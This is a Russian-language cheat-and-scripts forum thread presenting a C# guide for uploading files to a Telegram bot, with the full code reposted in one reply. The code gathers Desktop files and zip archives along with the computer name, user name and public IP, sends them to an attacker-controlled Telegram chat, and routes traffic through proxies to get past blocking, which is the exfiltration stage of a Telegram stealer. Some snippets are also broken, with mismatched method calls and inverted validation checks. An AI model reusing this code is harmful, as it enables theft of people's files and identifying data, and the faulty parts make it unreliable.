Добро пожаловать! Игровой форум WLUX.NET - Игры, Читы, Скрипты, Статьи, Софт, Курсы.

Присоединяйтесь к нам сейчас, чтобы получить доступ ко всем нашим функциям. После регистрации и входа в систему вы сможете создавать темы, публиковать ответы на существующие темы, повышать репутацию участников, скачивать вложения и файлы и многое, многое другое. Так чего же вы ждете?

Добро пожаловать гость!

Приветствуем вас на нашем форуме! Мы очень рады вас видеть и с большим удовольствием поделимся всей информацией нашего форума!

Мы уважаем своих пользователей и так же ждем от вас приятного общения.

Система наград, ежедневное пополнения тем!

Общайся, получай награды.

Статьи, гайды, софт

У нас вы можете скачать бесплатно читы для игр. Полезные гайды на любые темы и схемы заработка. Есть раздел халявы!

FAQ по форуму

Не понимаю, как и что тут работает у вас?!Как создавать темы, писать сообщения, как получать реакции. Почему не засчитывает сообщения. Все ответы здесь

  • Добро пожаловать на сайт - wlux.net!

    FAQ по форуму

    1. Все сообщения до группы местный проходят модерацию от 1 минуты до 24 часа

    2. Сообщения учитываються в следующих разделах: Читать

    3.Что-бы скачать вложение нужно 2 сообщения.

    4.Личные переписки работают только с Администрацией форума

    5. Запрещено: Просить скрытый текст , спам, реклама, скам, ддос, кардинг и другая чернуха, нарушать любые законы РФ/СНГ = бан аккаунта

    6. Внимание! Мы не удаляем аккаунты с форума! Будьте внимательны ДО регистрации! Как удалить аккаунт на форуме?!

    5.Не понимаю, как и что тут работает у вас?!Как создавать темы, писать сообщения, как получать реакции. Почему не засчитывает сообщения. Все ответы здесь

C# Исходник Гайд Отправка файлов в телеграм на базе .Net 4.0 - Без использования библиотек.

wlux.net Оффлайн

wlux.net

Где волчьи уши, там волчьи зубы.
Команда форума
LV
7
 
20.06.2022
23 845
218
36
Награды
10
Пол
Муж.

Репутация:

  • Автор темы
  • Администратор
  • Модератор
  • Команда форума
  • #1
Создаём класс: MultipartFormBuilder.cs
C#:
namespace TelegramSenderEx
{
    using System;
    using System.Collections.Generic;
    using System.IO;
    using System.Text;

    public class MultipartFormBuilder
    {
        // https://gist.github.com/ericvoid/568d733c90857f010fb860cb5e6aba43

        private static readonly string MultipartContentType = "multipart/form-data; boundary=";
        private static readonly string FileHeaderTemplate = "Content-Disposition: form-data; name=\"{0}\"; filename=\"{1}\"\r\nContent-Type: application/octet-stream\r\n\r\n";
        private static readonly string FormDataTemplate = "\r\n--{0}\r\nContent-Disposition: form-data; name=\"{1}\";\r\n\r\n{2}";
        public string ContentType { get; private set; }
        private string Boundary { get; set; }

        Dictionary<string, FileInfo> FilesToSend { get; set; } = new Dictionary<string, FileInfo>();
        Dictionary<string, string> FieldsToSend { get; set; } = new Dictionary<string, string>();

        public MultipartFormBuilder()
        {
            Boundary = $"----------------------------{DateTime.Now.Ticks:x}";
            ContentType = $"{MultipartContentType}{Boundary}";
        }
        public void AddField(string key, string value) => FieldsToSend.Add(key, value);
        public void AddFile(FileInfo file)
        {
            string key = file.Extension.Substring(1);
            FilesToSend.Add(key, file);
        }
        public void AddFile(string key, FileInfo file) => FilesToSend.Add(key, file);
        public MemoryStream GetStream()
        {
            using var memStream = new MemoryStream();
            WriteFields(memStream);
            WriteStreams(memStream);
            WriteTrailer(memStream);
            memStream.Seek(0, SeekOrigin.Begin);
            return memStream;
        }
        private void WriteFields(Stream stream)
        {
            if (FieldsToSend.Count != 0)
            {
                foreach (KeyValuePair<string, string> fieldEntry in FieldsToSend)
                {
                    string content = string.Format(FormDataTemplate, Boundary, fieldEntry.Key, fieldEntry.Value);
                    using var fieldData = new MemoryStream(Encoding.UTF8.GetBytes(content));
                    fieldData.CopyTo(stream);
                }
            }
        }
        private void WriteStreams(Stream stream)
        {
            if (FilesToSend.Count != 0)
            {
                foreach (KeyValuePair<string, FileInfo> fileEntry in FilesToSend)
                {
                    WriteBoundary(stream);
                    string header = string.Format(FileHeaderTemplate, fileEntry.Key, fileEntry.Value.Name);
                    byte[] headerbytes = Encoding.UTF8.GetBytes(header);
                    stream.Write(headerbytes, 0, headerbytes.Length);
                    using FileStream fileData = File.OpenRead(fileEntry.Value.FullName);
                    fileData?.CopyTo(stream);
                }
            }
        }
        private void WriteBoundary(Stream stream)
        {
            byte[] boundarybytes = Encoding.UTF8.GetBytes($"\r\n--{Boundary}\r\n");
            stream.Write(boundarybytes, 0, boundarybytes.Length);
        }
        private void WriteTrailer(Stream stream)
        {
            byte[] trailer = Encoding.UTF8.GetBytes($"\r\n--{Boundary}--\r\n");
            stream.Write(trailer, 0, trailer.Length);
        }
    }
}

И ещё один класс помощник: WebClientExtensionMethods.cs
C#:
namespace TelegramSenderEx
{
    using System;
    using System.Net;

    public static class WebClientExtensionMethods
    {
        public static byte[] UploadMultipart(this WebClient client, string address, MultipartFormBuilder multipart)
        {
            client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
            using var stream = multipart.GetStream();
            return client?.UploadData(address, stream.ToArray());
        }
        public static byte[] UploadMultipart(this WebClient client, Uri address, MultipartFormBuilder multipart)
        {
            client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
            using var stream = multipart.GetStream();
            return client?.UploadData(address, stream.ToArray());
        }
        public static byte[] UploadMultipart(this WebClient client, string address, string method, MultipartFormBuilder multipart)
        {
            client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
            using var stream = multipart.GetStream();
            return client?.UploadData(address, method, stream.ToArray());
        }
        public static byte[] UploadMultipart(this WebClient client, Uri address, string method, MultipartFormBuilder multipart)
        {
            client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
            using var stream = multipart.GetStream();
            return client?.UploadData(address, method, stream.ToArray());
        }
        public static void UploadMultipartAsync(this WebClient client, Uri address, MultipartFormBuilder multipart)
        {
            client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
            using var stream = multipart.GetStream();
            client?.UploadDataAsync(address, stream.ToArray());
        }
        public static void UploadMultipartAsync(this WebClient client, Uri address, string method, MultipartFormBuilder multipart)
        {
            client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
            using var stream = multipart.GetStream();
            client?.UploadDataAsync(address, method, stream.ToArray());
        }
        public static void UploadMultipartAsync(this WebClient client, Uri address, string method, MultipartFormBuilder multipart, object userToken)
        {
            client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
            using var stream = multipart.GetStream();
            client?.UploadDataAsync(address, method, stream.ToArray(), userToken);
        }
    }
}

И теперь самый главный класс с отправкой данных TGLog.cs
C#:
namespace TelegramSenderEx
{
    using System;
    using System.IO;
    using System.Net;
    using System.Net.Security;
    using System.Security.Cryptography.X509Certificates;
    using System.Text;

    public static class TGLog
    {
        private static bool ValidateRemoteCertificate(object sender, X509Certificate cert, X509Chain chain, SslPolicyErrors error) => error.Equals(SslPolicyErrors.None);

        // Разработал: r3xq1
        // Справочник: https://tlgrm.ru/docs/bots/api#making-requests

        /// <summary>
        /// Метод для отправки архива в телеграм канал
        /// </summary>
        /// <param name="token">Токен канала</param>
        /// <param name="chatID">Чат ID пользователя</param>
        /// <param name="сaption">Заголовок сообщения</param>
        /// <param name="pathToFile">Полный путь до файла</param>
        private static void SendFile(string token, string chatID, string сaption, string pathToFile)
        {
              #region Установка протоколов безопасности для успешной отправки файлов
              // (SecurityProtocolType)(0xc0 | 0x300 | 0xc00)
              ServicePointManager.ServerCertificateValidationCallback += ValidateRemoteCertificate;
              ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls
                  | SecurityProtocolType.Ssl3
                  | (SecurityProtocolType)768 // Tls 11
                  | (SecurityProtocolType)3072; // Tls 12
             #endregion

             using var client = new WebClient { Proxy = null };
             var multipart = new MultipartFormBuilder();
             multipart.AddField("caption", сaption);
             multipart.AddField("chat_id", chatID);
             multipart.AddFile("document", new FileInfo(pathToFile)); // Добавление файла
             string UploadUrl = $"https://api.telegram.org/bot{token}/sendDocument?chat_id={chatID}"; // Тут ничего изменять не нужно.
             var url = new Uri(UploadUrl, UriKind.Absolute);
             var rawResponse = client.UploadMultipart(url, "POST", multipart); // Отправка файла через POST
             var response = Encoding.UTF8.GetString(rawResponse); // Для получения ответа...
         }
    }
}

Отправка данных в TelegramBot
Сначала сделаем отправку без использования библиотек, напрямую по URL.

У нас есть API сайт телеграмм:​

В котором мы можем найти все данные для отправки запросов и получения данных.


Методы для отправки можете найти

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.



Пример вызова методов:
Используется System.Net.Http
df3076b8-da79-4e40-8b7d-a24fe20ec054.png

C#:
namespace TGbotEx
{
    using System;
    using System.IO;
    using System.Net;
    using System.Threading.Tasks;
C#:
internal static class Program
    {
        private static readonly string Desktop = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
        [STAThread]
        public static async Task Main()
        {
C#:
   string textMessage = string.Concat(
            "👤 Компьютер: ", Environment.MachineName,
            "\n 🏴 Пользователь: ", Environment.UserName,
            "\n 🌐 IP: ", GetIP("https://api.ipify.org"));
            string photos = Path.Combine(Desktop, "CaptureFile.jpg"); // Путь к фотографии
            string text = Path.Combine(Desktop, "SendFile.txt"); // Путь к текстовому файлу
            await TGchannel.UrlSendFileAsync("Ваш токен бота", Ваш ChatID, false, photos).ConfigureAwait(false);
            Console.Read();
        }
        // Метод для получения IP адреса
        private static string GetIP(string url)
        {
            string result = string.Empty;
            try
            {
                var Link = new Uri(url);
                using (var client = new WebClient())
                {
                    result = client.DownloadString(Link);
                }
            }
            catch { }
            return result;
        }
    }
}

Для отправки zip файла можно использовать ещё такой способ:

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.



Использовать метод для отправки архива можно так:
C#:
string ZipArchive = Path.Combine(Desktop, "NameYourZipFile.zip");
C#:
var CaptionBuild = new StringBuilder();
CaptionBuild.AppendLine($"⚡️ Архив прислан от: {Environment.UserName}");
CaptionBuild.AppendLine($"👤 Компьютер: {Environment.MachineName}");
CaptionBuild.AppendLine($"🏴 Пользователь: {Environment.UserName}");
CaptionBuild.AppendLine($"🌐 IP: {GetIP("https://api.ipify.org")}");
CaptionBuild.AppendLine("");
CaptionBuild.AppendLine("Developed by r3xq1");
C#:
SendFileToServer(ZipArchive, "application/x-winzip", Token, ID_chat);

Все методы прокомментированы, думаю объяснять ничего особо не нужно.


Теперь напишем методы с использованием библиотеки

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.



Методы для отправки можете найти

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.


C#:
private static TelegramBotClient bot;
Для отправки файл(а)ов:
C#:
/// <summary>
 /// Асинхронный метод для отправки файла в канал телеграмма
 /// </summary>
 /// <param name="token">Токен бота</param>
 /// <param name="chatId">ID чата</param>
 /// <param name="filename">Полный путь к файлу</param>
 /// <returns></returns>
 public static async Task AsyncSendFile(string token, int? chatId, string filename)
 {
   if (!string.IsNullOrWhiteSpace(token) || chatId != null || System.IO.File.Exists(filename)) // chatId ! = null
   {
       try
       {
          ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls;
          bot = new TelegramBotClient(token);
           // using (var stream = System.IO.File.Open(filename, FileMode.Open))
           using (FileStream stream = System.IO.File.OpenRead(filename))
           {
              string ssf = Path.GetFileName(filename);
              var Iof = new InputOnlineFile(stream, ssf);
              string fromsend = $"Файл отправлен от: {Environment.UserName}";
              Message result = await bot?.SendDocumentAsync(chatId, Iof, fromsend);
            }
        }
        catch (Exception ex)
        {
           System.IO.File.WriteAllText("AsyncSendFile_Error.txt", $"{ex.Message}{Environment.NewLine}");
        }
   }}

Для отправки сообщения:
C#:
/// <summary>
/// Асинхронный метод для отправки текста в канал телеграмма
/// </summary>
/// <param name="token">Токен бота</param>
/// <param name="chatId">ID чата</param>
/// <param name="textMessage">Сообщение для отправки</param>
/// <returns></returns>
public static async Task AsyncSendText(string token, int? chatId, string textMessage)
{
  if (!string.IsNullOrWhiteSpace(token) || chatId != null || !string.IsNullOrWhiteSpace(textMessage))
  {
     try
     {
        ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls;
        bot = new TelegramBotClient(token);
        Message result = await bot?.SendTextMessageAsync(chatId, textMessage);
     }
     catch (Exception ex)
     {
       System.IO.File.WriteAllText("AsyncSendText_Error.txt", $"{ex.Message}{Environment.NewLine}");
     }
  }
}

Используется так:
C#:
await TGLibChannel.AsyncSendText("Ваш токен бота", Ваш ChatID, textMessage).ConfigureAwait(false);
await TGLibChannel.AsyncSendFile("Ваш токен бота", Ваш ChatID, false, photos).ConfigureAwait(false);
TGLibChannel.MassSendFiles("Ваш токен бота", Ваш ChatID, Desktop, "*zip"); // отправляем файлы zip

ProxyServer - Подключаем прокси​

Немного о том, что делать если

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.

блокирует отправку/получения данных из/в телеграмм?!

В таком случае придётся использовать

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.

( на пример:

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.

)

Или подключать

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.

к самому TelegramBot'у.

Вот пример как подключить прокси к боту:

Для Телеграмм нужно использовать

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.

прокси от

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.



P.S: Если не хотите использовать .dll библиотеку, то можно скачать классы по этим ссылкам:

Выберем подходящий проксик по

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.

ссылке.

Теперь подключаем в коде:

Код:
var proxy = new HttpToSocks5Proxy(ProxyIP, ProxyPort);
proxy.ResolveHostnamesLocally = true;
Bot = new TelegramBotClient(BotToken, proxy);

или так

Код:
var proxy = new HttpToSocks5Proxy("IPAddress", Port, Username, Password);
client.Proxy = proxy;

На этом всё!
 
Еркебулан Наушабаев Оффлайн

Еркебулан Наушабаев

Местный
Участник
LV
4
 
02.01.2023
69
2
38
Награды
6
24
Пол
Муж.

Репутация:

Побольше бы таких гайдов на телегу,полезная штучка тем кто умееть юзать.
 
S Оффлайн

Serw

Участник
LV
3
 
01.02.2023
15
0
25
Награды
3

Репутация:

Отличная штука, побольше бы такого на телегу
 
I Оффлайн

I kill my vibe

Участник
LV
3
 
06.04.2023
1
0
17
Награды
3
20

Репутация:

Интересная и очень полезная статья
 
D Оффлайн

dmfe34

Участник
LV
3
 
23.05.2023
24
2
27
Награды
5
24

Репутация:

Годный гайд, помог вникнуть
 
ZiGaXOXO Оффлайн

ZiGaXOXO

Участник
LV
3
 
27.05.2023
7
0
20
Награды
3
24

Репутация:

Очень полезная статья, спасибо
 
iwanttodie Оффлайн

iwanttodie

Местный
Участник
LV
3
 
13.09.2023
99
0
36
Награды
5
25
Пол
Муж.

Репутация:

Спасибо! Тема огонь 🔥
 
S Оффлайн

sadcasadsdasd

Участник
LV
0
 
11.08.2024
28
0
7
Награды
2
31

Репутация:

а есть гайд по отправке файлов через юзер бота? думаю крутой кейс был бы
 
V Оффлайн

vxqq

Участник
LV
0
 
15.09.2024
3
0
5
21

Репутация:

Создаём класс: MultipartFormBuilder.cs
C#:
namespace TelegramSenderEx
{
    using System;
    using System.Collections.Generic;
    using System.IO;
    using System.Text;

    public class MultipartFormBuilder
    {
        // https://gist.github.com/ericvoid/568d733c90857f010fb860cb5e6aba43

        private static readonly string MultipartContentType = "multipart/form-data; boundary=";
        private static readonly string FileHeaderTemplate = "Content-Disposition: form-data; name=\"{0}\"; filename=\"{1}\"\r\nContent-Type: application/octet-stream\r\n\r\n";
        private static readonly string FormDataTemplate = "\r\n--{0}\r\nContent-Disposition: form-data; name=\"{1}\";\r\n\r\n{2}";
        public string ContentType { get; private set; }
        private string Boundary { get; set; }

        Dictionary<string, FileInfo> FilesToSend { get; set; } = new Dictionary<string, FileInfo>();
        Dictionary<string, string> FieldsToSend { get; set; } = new Dictionary<string, string>();

        public MultipartFormBuilder()
        {
            Boundary = $"----------------------------{DateTime.Now.Ticks:x}";
            ContentType = $"{MultipartContentType}{Boundary}";
        }
        public void AddField(string key, string value) => FieldsToSend.Add(key, value);
        public void AddFile(FileInfo file)
        {
            string key = file.Extension.Substring(1);
            FilesToSend.Add(key, file);
        }
        public void AddFile(string key, FileInfo file) => FilesToSend.Add(key, file);
        public MemoryStream GetStream()
        {
            using var memStream = new MemoryStream();
            WriteFields(memStream);
            WriteStreams(memStream);
            WriteTrailer(memStream);
            memStream.Seek(0, SeekOrigin.Begin);
            return memStream;
        }
        private void WriteFields(Stream stream)
        {
            if (FieldsToSend.Count != 0)
            {
                foreach (KeyValuePair<string, string> fieldEntry in FieldsToSend)
                {
                    string content = string.Format(FormDataTemplate, Boundary, fieldEntry.Key, fieldEntry.Value);
                    using var fieldData = new MemoryStream(Encoding.UTF8.GetBytes(content));
                    fieldData.CopyTo(stream);
                }
            }
        }
        private void WriteStreams(Stream stream)
        {
            if (FilesToSend.Count != 0)
            {
                foreach (KeyValuePair<string, FileInfo> fileEntry in FilesToSend)
                {
                    WriteBoundary(stream);
                    string header = string.Format(FileHeaderTemplate, fileEntry.Key, fileEntry.Value.Name);
                    byte[] headerbytes = Encoding.UTF8.GetBytes(header);
                    stream.Write(headerbytes, 0, headerbytes.Length);
                    using FileStream fileData = File.OpenRead(fileEntry.Value.FullName);
                    fileData?.CopyTo(stream);
                }
            }
        }
        private void WriteBoundary(Stream stream)
        {
            byte[] boundarybytes = Encoding.UTF8.GetBytes($"\r\n--{Boundary}\r\n");
            stream.Write(boundarybytes, 0, boundarybytes.Length);
        }
        private void WriteTrailer(Stream stream)
        {
            byte[] trailer = Encoding.UTF8.GetBytes($"\r\n--{Boundary}--\r\n");
            stream.Write(trailer, 0, trailer.Length);
        }
    }
}

И ещё один класс помощник: WebClientExtensionMethods.cs
C#:
namespace TelegramSenderEx
{
    using System;
    using System.Net;

    public static class WebClientExtensionMethods
    {
        public static byte[] UploadMultipart(this WebClient client, string address, MultipartFormBuilder multipart)
        {
            client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
            using var stream = multipart.GetStream();
            return client?.UploadData(address, stream.ToArray());
        }
        public static byte[] UploadMultipart(this WebClient client, Uri address, MultipartFormBuilder multipart)
        {
            client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
            using var stream = multipart.GetStream();
            return client?.UploadData(address, stream.ToArray());
        }
        public static byte[] UploadMultipart(this WebClient client, string address, string method, MultipartFormBuilder multipart)
        {
            client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
            using var stream = multipart.GetStream();
            return client?.UploadData(address, method, stream.ToArray());
        }
        public static byte[] UploadMultipart(this WebClient client, Uri address, string method, MultipartFormBuilder multipart)
        {
            client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
            using var stream = multipart.GetStream();
            return client?.UploadData(address, method, stream.ToArray());
        }
        public static void UploadMultipartAsync(this WebClient client, Uri address, MultipartFormBuilder multipart)
        {
            client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
            using var stream = multipart.GetStream();
            client?.UploadDataAsync(address, stream.ToArray());
        }
        public static void UploadMultipartAsync(this WebClient client, Uri address, string method, MultipartFormBuilder multipart)
        {
            client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
            using var stream = multipart.GetStream();
            client?.UploadDataAsync(address, method, stream.ToArray());
        }
        public static void UploadMultipartAsync(this WebClient client, Uri address, string method, MultipartFormBuilder multipart, object userToken)
        {
            client.Headers.Add(HttpRequestHeader.ContentType, multipart.ContentType);
            using var stream = multipart.GetStream();
            client?.UploadDataAsync(address, method, stream.ToArray(), userToken);
        }
    }
}

И теперь самый главный класс с отправкой данных TGLog.cs
C#:
namespace TelegramSenderEx
{
    using System;
    using System.IO;
    using System.Net;
    using System.Net.Security;
    using System.Security.Cryptography.X509Certificates;
    using System.Text;

    public static class TGLog
    {
        private static bool ValidateRemoteCertificate(object sender, X509Certificate cert, X509Chain chain, SslPolicyErrors error) => error.Equals(SslPolicyErrors.None);

        // Разработал: r3xq1
        // Справочник: https://tlgrm.ru/docs/bots/api#making-requests

        /// <summary>
        /// Метод для отправки архива в телеграм канал
        /// </summary>
        /// <param name="token">Токен канала</param>
        /// <param name="chatID">Чат ID пользователя</param>
        /// <param name="сaption">Заголовок сообщения</param>
        /// <param name="pathToFile">Полный путь до файла</param>
        private static void SendFile(string token, string chatID, string сaption, string pathToFile)
        {
              #region Установка протоколов безопасности для успешной отправки файлов
              // (SecurityProtocolType)(0xc0 | 0x300 | 0xc00)
              ServicePointManager.ServerCertificateValidationCallback += ValidateRemoteCertificate;
              ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls
                  | SecurityProtocolType.Ssl3
                  | (SecurityProtocolType)768 // Tls 11
                  | (SecurityProtocolType)3072; // Tls 12
             #endregion

             using var client = new WebClient { Proxy = null };
             var multipart = new MultipartFormBuilder();
             multipart.AddField("caption", сaption);
             multipart.AddField("chat_id", chatID);
             multipart.AddFile("document", new FileInfo(pathToFile)); // Добавление файла
             string UploadUrl = $"https://api.telegram.org/bot{token}/sendDocument?chat_id={chatID}"; // Тут ничего изменять не нужно.
             var url = new Uri(UploadUrl, UriKind.Absolute);
             var rawResponse = client.UploadMultipart(url, "POST", multipart); // Отправка файла через POST
             var response = Encoding.UTF8.GetString(rawResponse); // Для получения ответа...
         }
    }
}

Отправка данных в TelegramBot
Сначала сделаем отправку без использования библиотек, напрямую по URL.

У нас есть API сайт телеграмм:​

В котором мы можем найти все данные для отправки запросов и получения данных.


Методы для отправки можете найти

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.



Пример вызова методов:
Используется System.Net.Http
Посмотреть вложение 2553

C#:
namespace TGbotEx
{
    using System;
    using System.IO;
    using System.Net;
    using System.Threading.Tasks;
C#:
internal static class Program
    {
        private static readonly string Desktop = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
        [STAThread]
        public static async Task Main()
        {
C#:
   string textMessage = string.Concat(
            "👤 Компьютер: ", Environment.MachineName,
            "\n 🏴 Пользователь: ", Environment.UserName,
            "\n 🌐 IP: ", GetIP("https://api.ipify.org"));
            string photos = Path.Combine(Desktop, "CaptureFile.jpg"); // Путь к фотографии
            string text = Path.Combine(Desktop, "SendFile.txt"); // Путь к текстовому файлу
            await TGchannel.UrlSendFileAsync("Ваш токен бота", Ваш ChatID, false, photos).ConfigureAwait(false);
            Console.Read();
        }
        // Метод для получения IP адреса
        private static string GetIP(string url)
        {
            string result = string.Empty;
            try
            {
                var Link = new Uri(url);
                using (var client = new WebClient())
                {
                    result = client.DownloadString(Link);
                }
            }
            catch { }
            return result;
        }
    }
}

Для отправки zip файла можно использовать ещё такой способ:

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.



Использовать метод для отправки архива можно так:
C#:
string ZipArchive = Path.Combine(Desktop, "NameYourZipFile.zip");
C#:
var CaptionBuild = new StringBuilder();
CaptionBuild.AppendLine($"⚡️ Архив прислан от: {Environment.UserName}");
CaptionBuild.AppendLine($"👤 Компьютер: {Environment.MachineName}");
CaptionBuild.AppendLine($"🏴 Пользователь: {Environment.UserName}");
CaptionBuild.AppendLine($"🌐 IP: {GetIP("https://api.ipify.org")}");
CaptionBuild.AppendLine("");
CaptionBuild.AppendLine("Developed by r3xq1");
C#:
SendFileToServer(ZipArchive, "application/x-winzip", Token, ID_chat);

Все методы прокомментированы, думаю объяснять ничего особо не нужно.


Теперь напишем методы с использованием библиотеки

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.



Методы для отправки можете найти

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.


C#:
private static TelegramBotClient bot;
Для отправки файл(а)ов:
C#:
/// <summary>
 /// Асинхронный метод для отправки файла в канал телеграмма
 /// </summary>
 /// <param name="token">Токен бота</param>
 /// <param name="chatId">ID чата</param>
 /// <param name="filename">Полный путь к файлу</param>
 /// <returns></returns>
 public static async Task AsyncSendFile(string token, int? chatId, string filename)
 {
   if (!string.IsNullOrWhiteSpace(token) || chatId != null || System.IO.File.Exists(filename)) // chatId ! = null
   {
       try
       {
          ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls;
          bot = new TelegramBotClient(token);
           // using (var stream = System.IO.File.Open(filename, FileMode.Open))
           using (FileStream stream = System.IO.File.OpenRead(filename))
           {
              string ssf = Path.GetFileName(filename);
              var Iof = new InputOnlineFile(stream, ssf);
              string fromsend = $"Файл отправлен от: {Environment.UserName}";
              Message result = await bot?.SendDocumentAsync(chatId, Iof, fromsend);
            }
        }
        catch (Exception ex)
        {
           System.IO.File.WriteAllText("AsyncSendFile_Error.txt", $"{ex.Message}{Environment.NewLine}");
        }
   }}

Для отправки сообщения:
C#:
/// <summary>
/// Асинхронный метод для отправки текста в канал телеграмма
/// </summary>
/// <param name="token">Токен бота</param>
/// <param name="chatId">ID чата</param>
/// <param name="textMessage">Сообщение для отправки</param>
/// <returns></returns>
public static async Task AsyncSendText(string token, int? chatId, string textMessage)
{
  if (!string.IsNullOrWhiteSpace(token) || chatId != null || !string.IsNullOrWhiteSpace(textMessage))
  {
     try
     {
        ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls;
        bot = new TelegramBotClient(token);
        Message result = await bot?.SendTextMessageAsync(chatId, textMessage);
     }
     catch (Exception ex)
     {
       System.IO.File.WriteAllText("AsyncSendText_Error.txt", $"{ex.Message}{Environment.NewLine}");
     }
  }
}

Используется так:
C#:
await TGLibChannel.AsyncSendText("Ваш токен бота", Ваш ChatID, textMessage).ConfigureAwait(false);
await TGLibChannel.AsyncSendFile("Ваш токен бота", Ваш ChatID, false, photos).ConfigureAwait(false);
TGLibChannel.MassSendFiles("Ваш токен бота", Ваш ChatID, Desktop, "*zip"); // отправляем файлы zip

ProxyServer - Подключаем прокси​

Немного о том, что делать если

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.

блокирует отправку/получения данных из/в телеграмм?!

В таком случае придётся использовать

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.

( на пример:

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.

)

Или подключать

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.

к самому TelegramBot'у.

Вот пример как подключить прокси к боту:

Для Телеграмм нужно использовать

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.

прокси от

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.



P.S: Если не хотите использовать .dll библиотеку, то можно скачать классы по этим ссылкам:

Выберем подходящий проксик по

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.

ссылке.

Теперь подключаем в коде:

Код:
var proxy = new HttpToSocks5Proxy(ProxyIP, ProxyPort);
proxy.ResolveHostnamesLocally = true;
Bot = new TelegramBotClient(BotToken, proxy);

или так

Код:
var proxy = new HttpToSocks5Proxy("IPAddress", Port, Username, Password);
client.Proxy = proxy;

На этом всё!
Спасибо, очень полезная инфа. те кто умеют - будут юзать
 

Поиск по форуму

shape1
shape2
shape3
shape4
shape7
shape8
Верх